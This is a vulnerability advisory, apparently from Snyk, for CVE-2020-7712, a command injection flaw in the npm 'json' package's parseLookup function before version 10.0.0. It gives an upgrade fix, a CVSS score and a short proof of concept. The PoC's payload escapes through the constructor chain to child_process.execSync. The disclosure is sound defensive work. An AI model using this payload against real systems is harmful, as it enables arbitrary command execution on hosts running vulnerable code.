Command Injection

Affecting json package, versions <10.0.0

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

json is a 'json' command tool for massaging and processing JSON on the command line.

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbritary commands using the parseLookup function.

PoC

const json = require('json');

res = json.parseLookup('{[this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()]}');
console.log(res);

Remediation

Upgrade json to version 10.0.0 or higher.

References

CVSS Score

7.2
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    High
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Credit
po6ix
CVE
CVE-2020-7712
CWE
CWE-78
Snyk ID
SNYK-JS-JSON-597481
Disclosed
06 Aug, 2020
Published
30 Aug, 2020